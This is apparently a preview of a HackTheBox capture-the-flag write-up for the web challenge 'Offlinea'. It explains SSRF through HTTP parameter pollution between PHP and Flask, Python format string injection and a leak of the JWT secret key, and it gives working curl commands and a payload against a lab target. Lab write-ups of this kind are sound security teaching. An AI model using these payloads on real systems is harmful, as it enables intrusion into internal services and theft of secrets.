webfreemedium

Offlinea

HackTheBox

"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"

$ ls tags/ techniques/
jwt_forgeryhpp_ssrf_bypasspython_format_string_injectionsecret_key_leak

$ cat /etc/rate-limit

Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.

Offlinea - HackTheBox

Description

"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"

Architecture

Two-service architecture:

  1. PHP Frontend (bartender.php on port 8000) - Accepts URL, name, secret parameters with SSRF protection
  2. Flask Backend (app.py on port 5000) - Internal service with endpoints:
    • /generate - Visits URLs with Selenium, stores in database
    • /bartender - Returns secrets (requires JWT with is_admin=true)
    • /logs - Shows URL history with format string vulnerability

Analysis

Vulnerability 1: SSRF via HTTP Parameter Pollution (HPP)

PHP and Flask handle multiple URL parameters differently:

  • PHP uses the LAST value: $_GET['url']
  • Flask uses the FIRST value: request.args.get('url')

This allows bypassing PHP's SSRF protection while making Flask visit internal URLs.

Vulnerability 2: Python Format String Injection

In the logify() function:

def logify(rec): history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec] history_1 = row_separator.join(history) log = history_1.format(logify=logify) # VULNERABLE! return log

URLs stored in history are formatted with .format(), allowing format string injection like {logify.__globals__}.

Vulnerability 3: JWT Secret Key Leak

The Flask app's SECRET_KEY can be leaked via format string: {logify.__globals__[app].config}

Solution

Step 1: SSRF Bypass via Parameter Pollution

curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs&url=http://info.cern.ch/&name=test&secret=test"
  • PHP validates info.cern.ch (passes SSRF checks - public IP, TTL >= 40)
  • Flask visits 127.0.0.1:5000/logs (internal service)

Step 2: Format String Injection to Leak SECRET_KEY

# URL encode the format string payload PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{logify.__globals__[app].config}'))") curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs?$PAYLOAD&url=http://info.cern.ch/&name=test&secret=test"

...

$ grep --similar

Similar writeups